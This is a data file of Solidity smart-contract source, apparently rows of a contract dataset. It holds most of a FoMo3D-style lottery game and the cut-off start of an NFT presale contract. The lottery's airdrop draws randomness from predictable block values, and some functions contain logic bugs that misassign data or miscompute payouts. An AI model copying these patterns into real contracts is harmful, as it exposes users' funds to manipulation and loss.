function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 1000000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
uint256 bonus = 0;
uint256 count = 0;
uint256 l = round_[_rID].lastNum;
for(uint i = 0; i<l; i++)
{
uint _pid = round_[_rID].lastPlys[i];
count += plyr_[_pid].lbks;
}
bonus = (((round_[_rID].pot).mul(48)) / 100).mul(plyr_[_pID].lbks) / count;
return
(
(plyr_[_pID].win).add(bonus),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256,uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth,
plyr_[_pID].laff
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
insertLastPlys(_pID);
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth,round_[_rID].keys);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (airdrop(_team) == true)
{
uint256 _prize;
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyr_[_pID].lbks = _keys;
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth,round_[_rID].keys) );
else
return ( (_eth).keys(round_[_rID].keys) );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 25);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
payLast(_win);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
if (_com > 0)
{
ceo.transfer( _com.mul(20) / 100);
cfo.transfer( _com.mul(20) / 100);
coo.transfer( _com.mul(50) / 100);
cto.transfer(_com.mul(10) / 100);
}
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInit_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop(uint256 _temp)
private
view
returns(bool)
{
uint8 cc= 0;
uint8[5] memory randomNum;
if(_temp == 0){
randomNum[0]=6;
randomNum[1]=22;
randomNum[2]=38;
randomNum[3]=59;
randomNum[4]=96;
cc = 5;
}else if(_temp == 1){
randomNum[0]=9;
randomNum[1]=25;
randomNum[2]=65;
randomNum[3]=79;
cc = 4;
}else if(_temp == 2){
randomNum[0]=2;
randomNum[1]=57;
randomNum[2]=32;
cc = 3;
}else if(_temp == 3){
randomNum[0]=44;
randomNum[1]=90;
cc = 2;
}
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
seed = seed - ((seed / 100) * 100);
for(uint j=0;j<cc;j++)
{
if(randomNum[j] == seed)
{
return(true);
}
}
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = _eth / 5;
uint256 _aff;
_aff = _eth.mul(10) / 100;
if (_affID != _pID && plyr_[_affID].name != "") {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
ceo.transfer(_aff.mul(40) / 100);
cfo.transfer(_aff.mul(40) / 100);
cto.transfer(_aff.mul(20) / 100);
}
if (_com > 0)
{
ceo.transfer(_com.mul(20) / 100);
cfo.transfer(_com.mul(20) / 100);
coo.transfer( _com.mul(50) / 100);
cto.transfer(_com.mul(10) / 100);
_eventData_.P3DAmount = _com.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth.mul(2)/ 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(20)) / 100).add((_eth.mul(12)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == 0x100d5695a0b35bbb8c044AEFef7C7b278E5843e1,
"only team just can activate"
);
require(activated_ == false, "fomo3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
function setOtherFomo(address _otherF3D)
public
{
require(
msg.sender == 0x100d5695a0b35bbb8c044AEFef7C7b278E5843e1,
"only team just can activate"
);
require(address(otherF3D_) == address(0), "silly dev, you already did that");
otherF3D_ = _otherF3D;
}
function insertLastPlys(uint256 _pID)
private
{
uint256 _rID = rID_;
if(round_[_rID].lastNum == 0)
{ round_[_rID].lastPlys[0] = _pID;
round_[_rID].lastNum++;
}else if(round_[_rID].lastNum <10)
{
if(round_[rID_].lastPlys[round_[_rID].lastNum-1] != _pID)
{
bool repeat = false;
for(uint j=0; j<round_[_rID].lastNum; j++)
{
if(_pID == round_[rID_].lastPlys[j])
{
repeat = true;
break;
}
}
if(!repeat){
round_[rID_].lastPlys[round_[_rID].lastNum] = _pID;
round_[_rID].lastNum++;
}else{
for(j; j<round_[_rID].lastNum-1; j++){
round_[rID_].lastPlys[j] = round_[rID_].lastPlys[j+1];
}
round_[rID_].lastPlys[round_[_rID].lastNum-1] = _pID;
}
}
}else{
if(round_[rID_].lastPlys[round_[_rID].lastNum-1] != _pID)
{
round_[_rID].lastNum = 10;
for(j=0; j<round_[_rID].lastNum-1; j++){
round_[rID_].lastPlys[j] = round_[rID_].lastPlys[j+1];
}
round_[rID_].lastPlys[round_[_rID].lastNum-1] = _pID;
}
}
}
function payLast(uint _win)
private{
uint256 _rID = rID_;
uint l = round_[_rID].lastNum;
uint _pid;
uint i;
uint256 count = 0;
for( i = 0; i<l; i++)
{
_pid = round_[_rID].lastPlys[i];
count += plyr_[_pid].lbks;
}
for( i = 0; i<l; i++)
{
_pid = round_[_rID].lastPlys[i];
plyr_[_pid].win = (_win.mul(plyr_[_pid].lbks / count) ).add(plyr_[_pid].win);
}
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
uint256 lbks;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
uint256[10] lastPlys;
uint256 lastNum;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth,uint256 _curKeys)
internal
pure
returns (uint256)
{
if(_curKeys<=0){
_curKeys=1000000000000000000;
}
return (keys(_newEth,_curKeys));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
if(_curKeys<=0){
_curKeys=1000000000000000000;
}
return eth(_curKeys).mul(_sellKeys)/1000000000000000000;
}
function keys(uint256 _eth,uint256 _curKeys)
internal
pure
returns(uint256)
{
uint a =1000000000000000;
uint b =2000000000;
if(_curKeys<=0){
_curKeys=1000000000000000000;
}
uint c = a .add((b.mul((_curKeys.sub(1000000000000000000))))/1000000000000000000);
return (_eth.mul(1000000000000000000)/(c));
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
uint a =1000000000000000;
uint b =2000000000;
uint c = a .add((b.mul((_keys.sub(1000000000000000000))))/1000000000000000000);
return c;
}
}
interface otherFoMo3D {
function potSwap() external payable;
}
interface F3DexternalSettingsInterface {
function getFastGap() external returns(uint256);
function getLongGap() external returns(uint256);
function getFastExtra() external returns(uint256);
function getLongExtra() external returns(uint256);
}
interface DiviesInterface {
function deposit() external payable;
}
interface JIincForwarderInterface {
function deposit() external payable returns(bool);
function status() external view returns(address, address, bool);
function startMigration(address _newCorpBank) external returns(bool);
function cancelMigration() external returns(bool);
function finishMigration() external returns(bool);
function setup(address _firstCorpBank) external;
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,500 |
pragma solidity ^0.4.19;
contract AccessControl {
address public owner;
uint16 public totalModerators = 0;
mapping (address => bool) public moderators;
bool public isMaintaining = false;
function AccessControl() public {
owner = msg.sender;
moderators[msg.sender] = true;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyModerators() {
require(moderators[msg.sender] == true);
_;
}
modifier isActive {
require(!isMaintaining);
_;
}
function ChangeOwner(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function AddModerator(address _newModerator) onlyOwner public {
if (moderators[_newModerator] == false) {
moderators[_newModerator] = true;
totalModerators += 1;
}
}
function RemoveModerator(address _oldModerator) onlyOwner public {
if (moderators[_oldModerator] == true) {
moderators[_oldModerator] = false;
totalModerators -= 1;
}
}
function UpdateMaintaining(bool _isMaintaining) onlyOwner public {
isMaintaining = _isMaintaining;
}
}
contract DTT is AccessControl{
function approve(address _spender, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function balanceOf(address _addr) public returns (uint);
mapping (address => mapping (address => uint256)) public allowance;
}
contract DataBase is AccessControl{
function addMonsterObj(uint64 _monsterId,uint256 _genes,uint32 _classId,address _master,string _name,string _skills) public;
function getTotalMonster() constant public returns(uint64);
function setMonsterGene(uint64 _monsterId,uint256 _genes) public;
}
contract NFTToken is AccessControl{
function transferAuction(address _from, address _to, uint256 _value) external;
function ownerOf(uint256 _tokenId) public constant returns (address owner);
}
contract CryptoAndDragonsPresale is AccessControl{
event Bought (uint256 indexed _itemId, address indexed _owner, uint256 _price);
event Sold (uint256 indexed _itemId, address indexed _owner, uint256 _price);
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event Hatch(address indexed _owner, uint16 _tableId);
address public thisAddress;
address public dragonTreasureToken;
address public databaseContract;
address public ERC721Contract;
uint256 public totalClass;
uint256 public totalMonster;
uint256 public totalAuction;
uint256 private increaseRate = 0.1 ether;
uint64 public cooldownTime = 2 hours;
mapping (address => address) public masterToReferral;
mapping (uint16 => uint32[]) private EggTable;
mapping (uint8 => uint256) public EggTotal;
function setNewMonster(uint256 _genes,uint32 _classId,address _master,string _name,string _skills) onlyModerators public returns(uint64 _monsterId) {
DataBase data = DataBase(databaseContract);
uint64 monsterId = data.getTotalMonster() + 1;
